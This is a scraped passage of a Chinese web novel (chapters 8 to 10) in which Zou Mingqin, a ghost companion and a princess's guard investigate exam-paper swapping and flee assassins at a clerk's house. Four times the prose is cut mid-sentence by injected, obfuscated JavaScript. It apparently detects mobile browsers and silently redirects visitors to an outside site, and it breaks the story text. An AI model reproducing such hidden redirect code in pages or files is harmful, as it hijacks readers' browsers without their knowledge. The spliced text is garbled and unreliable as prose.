“更何况,你小叔应该不知道你们与孙大夫相识吧?” 姜折阔说着说着,竟真有几分头头是道。 “这就能说通了。普通人面对持刀抢药的劫匪,估计被吓得魂都飞出九重天外了。哪怕劫匪赊账,记了一户人的名字,这普通人估计也不会选择通知那户人家吧?毕竟,谁会愿意再被牵扯进与劫匪有关的事里?只不过,孙大夫并不是这样的普通人,但你小叔可不一定这么觉得。” 这并不是全无道理。 然而,邹鸣沁心里还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406403|184487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有些说不清、道不明的怪异感。 邹亮不知道她和孙大夫相识,难道他背后的甲也对此一无所知么? 为何,他偏偏选中了孙氏医馆? 邹鸣沁不觉得,天底下会有这么巧合的事。 除此之外,还有一个必须要解决的疑问,是这个“甲”的真实身份。 自从她在心底假设起这个人的存在后,邹鸣沁便将这件事与揭榜前夜,她在太傅府周围遇到的那位剑客联系了起来。 此人突然要派邹亮来,费尽心思地接近她、监视她。 如此目标清晰、指向明确的行动,背后只有一种可能—— 她的身份暴露了,但对方又还不能彻底确定,她是否就是铭覃。 邹鸣沁平日里做事谨慎,除了那次对招中被划破了面纱,几乎从没有露馅的时候。 而对方固然可能看到了她的容貌,但那时夜黑风高,她们对招又极快,看不清楚、无法确认也是极为正常的。 “先这样吧。” 邹鸣沁叹了口气,抬手揉了揉太阳穴。 “邹亮这条线索,我是揪定了。不过,既然一时想不出来,也不必再白费时间精力,且再等等岩雀她们的消息。” “是啊,邹小姐,你辛苦了。”姜折阔似乎也很感慨于此,“你这日日要动脑,还时不时要和人打架,实在不是一般人受得了的。” 邹鸣沁也没应他,只是继续揉着太阳穴。 过了一会儿,忽然朝他招了招手:“过来,借我冰一下。” “啊?”姜折阔没听懂。 “把手给我。”邹鸣沁伸出手。 他乖乖照做,把手搭了上去。 明明邹鸣沁是碰触不到他的,但他还是跟着她的动作,用手轻轻覆上了她的额头。 一阵凉意敷住发热的头脑,邹鸣沁不由得舒爽地呼出了一口气。 “啊、啊……是这样吗?邹、邹小姐?” 姜折阔的声音听上去很紧张,还有毫不遮掩的无措。 “嗯,就这样敷一会儿吧。你的手举得久一些,应该也不会觉得太累吧?” 邹鸣沁微微仰着头,往前走着。 姜折阔声音已然细若蚊蚋:“嗯……不会累。就是,我……哎,算了。” 他庆幸,还好鬼不会脸红。 不过,邹小姐那么聪明,估计也什么都看出来了吧。 想到这里,姜折阔的动作更小心翼翼起来。 他还记得之前在马车上,邹鸣沁嫌他太冷。 这样还会太冷吗? 稍微移开一点……这个距离,应该不会显得太冒犯人家吧? “邹……邹小姐。” “嗯?”邹鸣沁应道。 “现在这样,还算舒服吗?” 邹鸣沁点点头,声音里带着微微笑意:“感觉挺好的。” 哎,这小男鬼每天巴巴地跟在她后边,也帮不上什么忙。 不过,偶尔也还能有这样的妙用嘛。 还是自己聪明啊! 邹鸣沁怀着这样的小小得意,决定趁着时间还不晚,赶紧去完成今天的最后一件要务。 过了一会儿,她听见姜折阔又小声唤她:“邹小姐。” 他讲话突然这么小声、拘谨是为什么? 算了,这男鬼一向思想清奇,可能是刚刚大声说话多了,讲累了吧。 “怎么了?” “我们现在,要去哪?”姜折阔道。 邹鸣沁从袖中掏出那张小清单,抬起头,朝他扬唇一笑。 “趁集市还在,赶紧把东西都采买好。不然回到家,只怕我娘又要念叨我不靠谱。” 她脚步加快了些,嘴中却嘀咕起来。 “然后,好好吃顿饭。” 姜折阔没听清:“什么?” “我说,要吃饭——”邹鸣沁稍微放大了点音量,“饿煞我也!” 她急着赶路,也没留意到姜折阔的神情。 如同上一次被她惊住那样,他又怔愣了好一会儿。 而后,也忍不住笑了出来。 8. 第 8 章 入险局 这一夜,邹鸣沁正抄书习字时,窗边传来了轻微的响声。 三轻四重一敲完,邹鸣沁便知道,是崔岩雀来了。 打开窗,果然是她。 “怎么不走门?” 崔岩雀跳进房中,只简短地解释道。 “在外头看见书案的烛火亮着,你在写字。这儿离你近,不用劳你再起身去开门。” 这扇窗就在书案旁边,她甚至不用站起来,抬手就能碰到它。 这番回答让邹鸣沁颇为意外,她忍不住笑了一声。 “看不出来,你如此心细。” “只是习惯罢了。”崔岩雀道,“你们这些在闺中做小姐的,裙裾总是太长。我穿惯了便衣,就常常忍不住担心,裙摆会绊住人。” 邹鸣沁愣了愣,道:“关心这个,未免有些烦费心神。我也从小穿惯了这样的衣裙,自然会留神裙摆。” 说着,她站起身来,想邀崔岩雀去桌子旁坐下。 她习惯性提起裙子,便没再看脚下。 却不想,自己刚说完“自然会留神裙摆”,她就踩到了衣裙的一角,身子往前一趔趄,幸好崔岩雀眼疾手快,扶住了她。 “……此为意外。” 邹鸣沁脸都红了,忍不住咳了两声。 崔岩雀倒也不介意,什么都没说,只是在她重新站稳后,才松开了手。 邹鸣沁心中既觉得古怪,又觉得震撼。 她一直不觉得这是什么大事。 毕竟世上所有的闺秀小姐、名流贵女都穿这样的裙子,这是她们身份娇贵的证明。 所以,对于它带来的那么一点点不便,习惯就好了。 ——仿佛只要习惯了,它就不存在了。 “先说正事吧。”崔岩雀看出她走神,提醒道。 她们走到桌旁坐下,邹鸣沁问:“名册呢?” 崔岩雀取出几张纸,上头都是密密麻麻的名字,以及这些人对应的职务。 “能接触到试卷和黄榜的人,都在这上面了。” 邹鸣沁接过名单,仔细翻阅起来。 “我先看,你接着说。查这件事时,有没有发现什么蹊跷?” “嗯。这次春试的誊录官是府衙文吏刘丙,在调查他时,我潜入了他家书房中。” 崔岩雀指了指名单上的一处。 “我意外发现了一处暗格,里头有一叠文书。我不知道有没有用,就偷偷拿出来了。” 邹鸣沁惊得瞪大了眼睛,忍不住拍了拍她的肩,喜道:“可以啊!快让我看看。” 她依言从怀中取出一叠纸来,上头密密麻麻的都是字。 邹鸣沁接过来,略略翻了一遍,纸上写的都是论政的文章,还有几篇叙事说理的诗文。 这些文章所讲的角度虽各有不同,但都是根据今年春试的试题来写的。 最重要的是,这些文章她都不陌生。 黄榜上名列前茅的考生,所写的文章都在其中。 还有几篇,写得平平无奇,甚至有些潦草僵硬。 但邹鸣沁细看它们字里行间,总觉得一些措辞与词句有着说不出的熟悉感。 翻到最后一篇,邹鸣沁刚看了一个开头,一阵惊骇便涌上心头。 ——这是她的文章。 不,不对…… 准确来说,这是以她的文章为基底,加以修改过后的版本。 “有人换卷。” 几乎是脱口而出,邹鸣沁的眉头紧皱起来。 在誊录这个环节换卷,可并不是一件简单的事。 考生们把墨卷上交后,弥封官会当场糊名,而后统一整理收齐,送到誊录处。 誊录官和誊录手们,会立即对墨卷进行誊抄。 誊抄好的朱卷,也会先经过对读官之手,由对读官大声念出朱卷上的文章,以核对其内容是否与墨卷上一致。 这个环节进行得极快,且一直处在公开的环境下,设了多重监督。 故而,要想找机会把试卷换走,还做到毫无破绽——这几乎是不可能的。 “如果是这样,问题就比我们想象中还要严重。” 邹鸣沁喃喃道。 “一个人是断然做不成这件事的。这份名册上的人,至少要有一半都在协助这件事,才能做到在公主的多重监管下,仍然天衣无缝地完成了换卷。” 她稳住心神:“还有什么消息吗?” 崔岩雀摇摇头:“其它的,倒未发现有什么可疑之处。” 邹鸣沁把那叠文章收好,立即提起笔。 “岩雀,现下除了你,其她人还有空吗?” “大家都还在各处监视着。不过,你若有指令,我们随时可以配合。”崔岩雀道。 邹鸣沁简明扼要地写了现下情况之紧急严重,还有自己的推测,而后将它塞进竹筒里,交给了崔岩雀。 “你动作快些,派一人亲自将这封信交给殿下。其她人暂时不要轻举妄动。” 剩下的事,她稍稍有些犹豫。 但只思虑了一瞬,邹鸣沁心一横,还是很快做出了决定。 “过会儿子时二刻,我们准时在长安街会面,你带我去刘丙府上。” 崔岩雀动身后,邹鸣沁也立即麻利地换好了一身衣服,扎紧头发,戴上面罩。 “姜折阔,醒醒、醒醒。” 今日午后,他说着要小憩一会儿,便一直睡到了现在。 邹鸣沁无端联想起上一次,他这样毫无预兆地昏睡,似乎还是因为和那个系统做了什么交换。 难道,他又和系统换了什么东西? 她接着唤了几声,他仍然睡得人事不知。 邹鸣沁咬咬牙,没再继续叫下去。 偏偏是现在。 崔岩雀已经将誊录官刘丙在书房暗格里藏着的文章都取了出来,保不准什么时候就会被他们发现。 到那时,必定会惊动了对方。 一旦拖延,再想行动就更容易受限。 所以,她还是决定今晚立即就去刘府一探。 为了不打草惊蛇,又至少还能有个照应,她只叫上了崔岩雀一人。 这种时候,若是有姜折阔这么一只鬼在身边跟着,指不定能帮上些忙。 算了,他也没重要到不可缺失的地步。 邹鸣沁从邹府后门偷偷地溜了出去,赶往长安街。 夜色如浓墨一般,淹过屋顶上疾行的人影,吞没了脚步敲在瓦片上发出的轻响。 “过一会儿,我先进去探一探,你在外头,随时准备照应。” 邹鸣沁与崔岩雀对视一眼,闻言,崔岩雀点点头。 二人到了刘府,大致查探了一下周围的情况。 暂时没发现有人,邹鸣沁向她递了个眼神后,便轻悄地翻下了屋顶。 她顺着连廊,一路上经过的屋子都已熄了灯,只剩下外头还点着小灯,能看见几个丫鬟在值夜。 邹鸣沁隐约觉得不太对——虽已是午时,但还不算太晚。 总不至于全府上下都已经睡了吧? 她提起十二分警惕,将脚步再放轻了些。 靠近回廊尽头的书房,邹鸣沁兜到窗外,一手放到剑柄上,另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406404|184487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手轻轻推了一下窗。 ——窗没有关严,只一推便开了。 进展如此顺利,邹鸣沁的疑心却更重了几分。 然而,箭在弦上,不得不发。 这是黄榜案目前唯一的线索,如果断了,想要再追查就难了。 无论里头是否有埋伏,是否是陷阱,她都必须试试。 “吱呀”一声轻响,窗子打开,邹鸣沁闪身翻进了书房中。 她没有急着行动,而是停在原地,仔细听了听四周的动静。 没有人。 邹鸣沁站起身来,摸到书案旁。 只见案上一片狼藉,墨珠飞溅,纸张散乱。 打斗的痕迹很明显。 她再抬起头,一眼就看到了墙上已被打开的暗格。 看来,崔岩雀拿走文稿的事,已经被他们发现了。 那么…… 刘丙,现下在何处? 她来不及深想,开始翻找书案上的东西,试图找到一些有价值的线索。 还没有找到线索,邹鸣沁却忽然听到了不远处传来的脚步声。 有人来了! 邹鸣沁躲进书柜后面,将呼吸放缓。 她另一手按在剑上,心下默默点着脚步声对应的人数。 一、二、三。 粗略地数,至少有三个人。 “老大说,今夜那个人指定会来。” 一个粗混的男声说道。 “可是,我们都把刘丙处理完了,那人也还没来啊?” 谁会来? 难道,说的是她和崔岩雀? 邹鸣沁的心高高提起。 ——他们的老大是谁? 以及,刘丙果然已经被处理掉了。 看来,这里早就已经被搜过一遍,不会再有真正有用的线索了。 刘府,已经变成了一个巨大的诱饵。 另一个浑厚的男声说道:“别废话了,老大说的话就没有出错过!我们揣度不来,照做就是了。” “等等,哥,你看,这把凳子的位置是不是移动过了?” 粗混男声忽然道。 一个略尖细的声音道:“还真是。” 邹鸣沁八风不动,只是屏住呼吸,把剑握得更紧了些。 脚步声离她所在的位置,越来越近。 心跳不断加速,邹鸣沁在脑中快速思索着该作何反应。 这个书柜后面的空间很小,且只有一个出入口,一旦他们走到这儿,她必然被发现无疑。 到时,在此处一是打斗不便,二是对方占着出口。 那可就真是瓮中捉鳖了——她无处可逃。 邹鸣沁瞅准离自己最近的一扇窗,抽出剑来,便立即向前冲去! 与此同时,还不忘对准书柜用力一踹。 屋内的几人听到声响,立即要过来拦截她,不料书柜轰然倒地,妨碍住了他们的脚步。 邹鸣沁借机破开窗子,快速压低上身,极其灵活地钻了出去。 她还没来得及喘口气,只听见一声铮然剑响,一枚剑锋随即刺入了她的视野—— “咣!” 邹鸣沁抬手拎起剑鞘,挡住了这一剑。 她脚一踩窗台,借着力跳开几尺远。而后,拔腿就跑,毫不恋战。 邹鸣沁一边运着轻功,一边观察四周。 余光之中,她看见身前身后的各处,都纷纷冒出了身着黑衣的刺客。 邹鸣沁汗流浃背了。 这也太多人了! 来之前也没人告诉她是这种大逃杀啊!! 9. 第 9 章 料峭夜 邹鸣沁甩开了身后追着自己的黑衣人,躲进了一间屋子里。 终于能够稍作休息,她大口喘着气。 也不知道崔岩雀那边情况如何,有没有被抓住。 不过,崔岩雀毕竟是晴瞬公主手下的暗卫,武功自然比她扎实许多,想来不必过于担忧。 现在,她得好好想想,接下来该怎么办。 就是要撤退,她也得先找到崔岩雀。 不然,单凭她自己,恐怕是跑不出去的。 “咳咳……” 忽然,一阵微弱的咳嗽声传入耳中。 邹鸣沁立即拔出剑,转过身。 声音的来源是里屋。 如果是埋伏,只怕她早在刚进来的时候,就该被袭击了。 “救,救我……” 她心一横,握剑挡在身前,快步走了过去。 黑漆漆的屋里,隐约可见床榻上正严严实实地绑着个人。 “刘丙?” 邹鸣沁叫出心中猜测的名字。 对方立即疯狂点头,口齿不清地提高了声音:“救我,我不、不想死……啊啊……好痛……” “闭嘴!”邹鸣沁低声喝道,伸手捂住了他的口。 她翻出随身携带的急效药丸,塞了一颗到他嘴里,而后用剑抵住他的脖颈。 “回答我的问题,兴许你还能捡回来一条命。” 刘丙愣了愣,而后拼命点头。 邹鸣沁道:“书房暗格里的东西,是谁写的?” “我不知道……是宋太傅……宋太傅让人给我的。” 刘丙哆嗦着答。 “把东西给你的是何人?”邹鸣沁追问道。 刘丙咽了咽口水,忍痛回答:“……我只知道,他叫周乙。” 到最后,他几乎是在把字一个一个地往外挤,才得以说出口。 邹鸣沁还想再问,却忽然见刘丙喘气愈缓,而后竟直直地瞪着眼,松了气儿。 与此同时,一股难言的腐臭升腾而起。 她定睛一看,才发现刘丙的腹部烂了一个巨大的血洞,还在不断扩大,似是被什么东西腐蚀、灼烧了一番。 看来,他早就被下了毒。 邹鸣沁小心避开尸体处流出的血和腐液,在这间屋子里又搜了一遍。 不过,这似乎只是用来暂时押放刘丙的地方,空空荡荡,没有值得注意的东西。 她移步至窗边,仔细听脚步声和人声。 外头似乎已经没什么人了,也或许是那些人都隐蔽了起来,正等着她往外送命。 不管了,在这里猜外头是有人还是无人,已经没有任何意义。 邹鸣沁掀开窗,跳进了外头的花丛中。 花刺深长、尖利,一下划穿了衣料,扎进她的皮肤里。 邹鸣沁没空管它,只是借着花草间的缝隙看外面。 她顺着花丛缓慢地挪动,在靠近连廊的地方看见了几个黑衣人。 “还有抓到别的人吗?” “没有了。” “奇怪……我们方才追的那个,从身形上来看,分明就是个女人。” “兴许你看错了?” “再找找吧,我不信。她们今夜绝对不止一个人来了。” 她在花丛偷听着黑衣人的对话,只觉情况愈加复杂。 听这个意思……是有人被抓到了? 而且,还是个男人? 可是,今晚明明只有她和崔岩雀来了。 难道是崔岩雀放出了信号,让其她人来支援了? 还没等她想明白,忽然又来了一个黑衣人。 “喂……那个男的,不见了!”他气喘吁吁地说着。 仿佛是怕表述不清,他还强调道:“……凭空消失!” 这一句话惊动了在场所有人,包括邹鸣沁。 黑衣人们都跟着跑去找人了,邹鸣沁反倒松了口气。 不管怎么样,这些人终于走了,她有机会出去了。 而且,那个疑似是她同伴的男人,似乎也成功逃脱了。 她刚站起身,忽然感到一阵阴恻恻的风吹过,一只冰冷的手捉住了她的手腕。 邹鸣沁一惊,转头却看见了姜折阔的脸。 ——仍然是半透明的脸,半透明的身子…… 她的视线往下,锁定到自己的手腕上。 ……但这次,还有一只真实存在的手。 “嘘,跟我来!” 姜折阔握紧她,短促地唤了一声。 邹鸣沁迅速回过神,也知道现下不是能浪费时间说话的时候,便立即跟上了他。 一路潜行,一人一鬼很快就到了刘府花园中一处隐蔽的角落。 “我探查过地形了,刘府四处都有人在巡查,等着抓你们。只有这里没什么人驻守。”姜折阔道。 邹鸣沁点点头:“崔岩雀呢?你有没有看到她?” “去找你之前,我假借你的名头,给她留了个信号,让她来这边会合。”姜折阔转过头,看了看身后,“先出去吧,别的我回去再同你解释。” 翻过墙,果然看到崔岩雀已在等候。 与此同时,手腕上无比真切的触感瞬间消失,邹鸣沁看了一眼姜折阔,他松开自己之后,那只手也立即淡回了半透明的虚体。 “铭覃!”她刚跑过去,便被崔岩雀上上下下检查了个遍,“有没有受伤?” 邹鸣沁摇头:“都是小伤,不碍事,我们快走。” 二人披好兜帽,重新隐入夜色中,赶往邹府。 邹鸣沁时不时回过头,看身后是否有人跟着她们。 刘府里的黑衣人并没有追上来。 姜折阔飘在她们背后,神色有些怔忪,不知在想着些什么。 . . 回到邹府,邹鸣沁立即把门窗都关牢,而后才摘下面罩、卸下斗篷,瘫坐在榻边。 饶是她练过武,今夜的行动对她来说,也算得上是惊险万分、消耗过度了。 崔岩雀拿了伤药来,替她处理身上细微的伤口。 姜折阔呢,则是刚一回来,便靠在床边睡着了。 正巧崔岩雀还在这里,她一时也没有机会去问他,今夜的事到底是怎么解决的,只好暂时作罢。 只是,不知是不是她的记忆或眼睛出了错—— 邹鸣沁总觉得,在灯火映照下,姜折阔的身体,似乎比平日里还要更透明一些。 “你进去没过多久,我便见到有人在寻你。” 崔岩雀一边给她抹药,一边道。 “我看见他们追你,便下去引开了一部分人。之后越来越多人来追我,你突然又跑出来,我看见他们抓住你了,你还做信号让我先去花园那边等。” 想必这就是姜折阔的手笔了。 她问道:“你怎么逃出来的?” “我身上带了些暗器,找机会放倒了几个人,就出来了。”邹鸣沁道。 为了不再让崔岩雀纠结这个问题,邹鸣沁说起了自己见到刘丙的事。 “我躲藏的时候,正好遇上了刘丙。” 邹鸣沁回想起当时的情景。 “可惜还没仔细盘问,他就死了。我原本还想着,能不能用点办法把他也带出去。” 崔岩雀很震惊:“那他可有给出什么线索?” 邹鸣沁点点头:“接下来的日子,你要帮我查一个叫‘周乙’的人。不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406405|184487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这也有可能是假名……先查着再说吧,他很关键。” 另一个人,邹鸣沁暂时不打算和崔岩雀说。 宋太傅…… 居然是他。 宋元,正一品太傅,是朝中声望很高的中立派。 为人清正高洁,温和善授。 对于目前的夺嫡之争,他没有发表过任何实质性的看法,也从未表明过要站谁的队。 皇子皇女们都是他的学生,其中也包括吕晴瞬。 她对这位老师亦十分敬重。 在宋元担任今年春试的主考官后,吕晴瞬一直担忧他被卷进争斗中,故而暗中派遣了一众暗卫和邹鸣沁去保障其安全。 虽说邹鸣沁当时也有监视他的职责,但她全程都没发现什么不对。 加上,那时确实有刺客出现在太傅府周围,所以在之后调查黄榜案的过程里,她和吕晴瞬都未曾怀疑过宋元。 是的,他在改卷的过程中并没有展露出任何问题。 然而,这是因为问题并不出在改卷上,而是出在卷子本身。 刘丙只是一颗棋子,生死之间,他实在没必要说谎话骗她。 换卷的事,原来和宋太傅脱不开干系。 “我现在写信给殿下,把简单的情况先告知她,过后再详谈。” 崔岩雀给她包扎完,把布条打好结再剪开。 邹鸣沁走到书案旁:“现在外头情况不明,你若是不方便走,不如先在此处歇息一夜。明日一早,我们一同去见殿下。” “也好。”崔岩雀应下。 . . 简单梳洗过后,邹鸣沁吹熄灯火,躺在了床榻上。 她今日被追着杀时,几乎用尽了浑身解数运作轻功,身体自然是疲累的。 然而,真正躺下时,她却怎么都睡不着。 任凭辗转,神识都清醒得很。 姜折阔就靠在她床头背面,正沉沉地昏睡着。 难说是幻觉还是实感,邹鸣沁总觉得隐隐寒凉。 他身上惯有的森冷,似乎正透过薄薄的木板,渗入她的领地。 到了这时,她的头脑终于稍微空出来一些。 ——还不如不空呢。 那只手简直像死人的手,冰冷彻骨,只是并不僵硬,还能算得上柔软。 但又很瘦,比她的手瘦得多。 那层皮肤之下的骨肉,牢牢硌在她手腕处,实在让人很难不印象深刻。 这是他今日交换的东西吗? 不,不止。 岩雀说看到“她”跳出来,把人引走,说明那时的姜折阔,是全身上下完完全全的实体。 以及,今晚回来之后,她发现他似乎变得更透明了,这应当不是错觉。 难道,这就是他付出的代价吗? 邹鸣沁侧过身躺着,一只耳朵贴在枕头上,越发清晰地听见自己心跳如雷。 自从姜折阔出现,尽管他说可以帮她,她也从未主动向姜折阔寻求帮助。 她一直觉得,人在天地中行走,万事皆可为,万物有其道。 然而,若人要和天地做交易,那么所要付出的代价,必然大到超脱人的思想所限。 起初,她以为姜折阔是鬼神的一部分,所以只是让他跟着,不求助也不驱赶,顺其自然。 但现在,她越来越意识到,姜折阔很可能同她一样,也是一个“人”。 那么,和鬼神天地做交易的他,到底付出了什么作为筹码? 他会落得什么下场——而被那所谓“系统”所绑定的她自己,如果坐视不管,又会走向何处终局? 邹鸣沁捏紧了被褥,心脏仍然咚咚地、如擂鼓般狂跳个不停。 10. 第 10 章 人命观 次日一早,邹鸣沁便和崔岩雀一同去了公主府。 昨夜她已在书信中大致说了刘府的事,故而等她们都坐下之后,吕晴瞬把下人一遣,叫人把门一关,便直接进入了主题。 “昨夜如此凶险,你应当多召集些人手。” 吕晴瞬看着邹鸣沁,叹了口气。 “就算是怕打草惊蛇,好歹也让人代你前去。” 邹鸣沁道:“一开始,暗格中的文章就是岩雀发现的。然而,她毕竟不清楚此案细节,我亲自再去搜一遍,才可确保不错过任何线索。” “……也是。” 吕晴瞬没再说什么,只是转过头看了一眼崔岩雀。 “你可有受伤?” “谢殿下关心。回殿下,属下并未受伤。”崔岩雀道。 吕晴瞬点点头,挥了挥衣袖:“你先下去吧,在外头守好,本宫与铭覃还有事要议。” “是。”崔岩雀先是行礼,而后便出去了。 屋子里只剩下二人时,吕晴瞬立即拉起邹鸣沁的手。 “你呢?” 她眼尖地看到邹鸣沁手腕处露出的一截布条,便掀起她的袖子。 “这是怎么搞的?” “只是被花刺划到了,伤的不深,看着有几分吓人罢了。”邹鸣沁笑道。 吕晴瞬抚着她的手背,柔声道。 “崔岩雀是死士,你是本宫的臣下。她负责接应,你却冲在最前头,这是你掂量不清。” 邹鸣沁脸上的笑意,不着痕迹地顿了顿。 她摇摇头,道:“殿下,不是这样的。” “你派她来,本就是为了帮我做事查案,让她接应我,有何不可?何况,如我方才所说,事关重大,惟有我自己去查找一番,才能保证万无一失。” 说完,邹鸣沁的声音更低了些。 “昨夜,我阴差阳错地得了些线索,只是为了保险,不敢明写在信中。” 她将刘丙招供出宋太傅和周乙的事,一五一十地告诉了吕晴瞬。 听完,吕晴瞬的脸色果然冷肃了许多。 “太傅德高望重,本宫未曾想,原来他也参与了此事。” 邹鸣沁听出她话中的震惊和失望,却也没有出声安慰。 “他是主考官,若是有他助力,换卷一事,确实也不是什么难事了。” 吕晴瞬冷笑一声。 邹鸣沁道:“现在,整件事中还有几个大的疑点。” 刘丙是负责誊抄朱卷的誊录官,如果他是按照周乙带来的文章来抄写的,那么,他们要怎么保证朱卷和墨卷内容的完全一致? 如果在对读官核对朱卷和墨卷的时候,朱卷和墨卷已经是同一个版本,那么墨卷又是在什么时候被换的? 这个过程太快了。 考生们在现场写完墨卷,交上去,当众糊完名,而后立马便会送去誊录。 在这个过程里,哪怕换下了原本的墨卷,要及时给出替换的墨卷,也几乎是不可能的。 “或许,墨卷根本就没换。” 吕晴瞬皱眉道。 “春试的朱卷和墨卷,现在都保存在礼部的书库里。不如将其取出来,到底换没换,一看便知。而且,里头说不定还会藏着什么线索。” 邹鸣沁点点头。 “我今夜便去看看。” 不过,她倒更倾向于墨卷已经被换的猜测。 毕竟,敌人一定也想过这一点。 誊录结束后,墨卷便最先被彻底封存起来,放进礼部书库。 等改完卷后,朱卷也同样会被封存起来。 春试过后三个月,书库旁都会由直属于皇帝的御林军把守。 在这时候偷偷更换试卷,显然是不可能的。 而若是墨卷不曾被更换…… 一旦她们发现黄榜排名不对劲,提出诉求,并拿出相当的证据,那么礼部就有义务,从书库中拿出她们的墨卷和朱卷来配合调查。 墨卷和朱卷的内容存在明显的不相同,便是巨大的破绽。 她认为,敌人既然想要做得天衣无缝,便不可能放任其留下。 . . 回邹府的路上,邹鸣沁邀崔岩雀共乘一辆马车。 崔岩雀虽然怔愣了一下,但还是依言上了车。 二人没有闲聊,车厢中仅有马蹄踏地的轻响、车轮转动的声音,还有街上传来的隐约人声。 昨晚没睡好,今天清晨又起了个大早,邹鸣沁干脆闭目养神起来。 “铭覃大人。” 崔岩雀忽然唤她。 邹鸣沁睁开眼:“嗯?” “你不该同我太过亲近。” 她很认真地看着邹鸣沁。 邹鸣沁愣了愣,勾唇笑了:“亲近?我只是和你坐在同一辆马车里而已。” “不止……” 崔岩雀还没说完,她像是被提醒了一般,恍然大悟道。 “哦,对,是不止。我们还在同一间屋子里,一块儿过了夜。” 崔岩雀叹了口气,看出来她在打岔,仍正色道:“你知道,我说的不是这些。” “我是公主手下的死士,我的命是公主的掌中之物,我随时可以为了公主殿下所需的一切献上它。” 她沉声道。 “你是殿下所器重的幕僚,是助殿下成大业的谋士。殿下既派我为你所用,你便不该对我心存怜悯,此为大忌。” 吕晴瞬,崔岩雀。 一个是玩弄权术、高高在上的公主,一个是名声不显、立于阴影的暗卫。 截然不同的两个人,却说出了如此相似的话。 邹鸣沁并不完全否认她们的说法。 没错,死士是死士,幕僚是幕僚—— 她们走的是不同的道路,人生的活法自然也相异。 所以,死士本就该最先冲入危险之中,幕僚也本就该在高处指点筹谋。 邹鸣沁并没有越过这条界限,她不至于掂量不清、拣小弃大。 今日吕晴瞬和崔岩雀会说这样的话,估计也是因为昨夜姜折阔造成的误会,她们都以为那个冲出来吸引敌人,被抓走的人就是邹鸣沁。 但除此之外,邹鸣沁有一点并不赞同。 “若没有从他们手中逃离的计策,我不会蠢到拿自己的命去换你的命。” 崔岩雀仍然直直地望着她,而邹鸣沁没有回避她的目光,只是同样认真地看着她。 “你虽然是殿下的人,但命却在你自己手里。” 邹鸣沁笑了。 人是一样的,有聪明的和不那么聪明的,有体质好和体质差的,有活得好的,还有死都不能死个痛快的。 可是不管怎么样,人是一样的。 人命没有谁高贵、谁低贱一说。 就连皇帝,逝去后下了葬,百年后露出的也照样是白骨一副,和田间的农民、街上的乞丐,并没有什么不同。 一个人,甚至有可能掌控不了她的思想,她的心,她的一举一动。 可是她的命,却是真真正正、从生到死,都只属于她一个人。 “至于我对你……那不能被说成怜悯,岩雀。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406406|184487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们一同破这黄榜案,崔岩雀是她的共事之人。 所以,她倚仗她、信任她。 她们同生共死,后背相付,虽交流不多,但不乏真心。 崔岩雀会提醒她注意裙子,为她包扎伤处,她们是朋友。 所以,她敬重她、关心她。 邹鸣沁想到她一开始说的话,忍不住笑出声来,恣意至极。 “不过,亲近?我更喜欢这个说法。” 崔岩雀一时间怔住,竟回答不出话来。 最后,她先一步移开了目光。 “我果然说不过你……” 只说完半句,剩下的又噎在了喉间。 邹鸣沁也不急着听她讲,只是仍然噙着笑看她。 过了许久,崔岩雀才极轻地补了一句。 “……罢了。” . . 下了马车,邹鸣沁回到自己房中。 方才行驶到中途,崔岩雀因为还要去查周乙的事,便提前离开了。 她走进里屋,一眼便看见姜折阔。 今早她离开的时候,他就没有醒。 现在她回来了,他仍然还保持着昨晚入睡时的那个姿势。 ……要不是鬼本来就没有呼吸,她都想伸手指探探他的鼻息了。 别说,习惯了这男鬼每日跟在身边絮絮叨叨、叽叽喳喳后,一时间安静下来,她还真有些浑身不自在。 更不要提,她现在正有满肚子的疑惑,想要在他那儿盘问出答案。 算了,慢慢等吧。 “咕咕!咕!” 鸽子的叫声从窗外传来,邹鸣沁赶紧跑到窗边,把窗打开。 从竹筒中取出纸条,上头写的是,“刘丙确已死。其子所称,丙因夜深目眩,误跌入府上池塘而溺。” 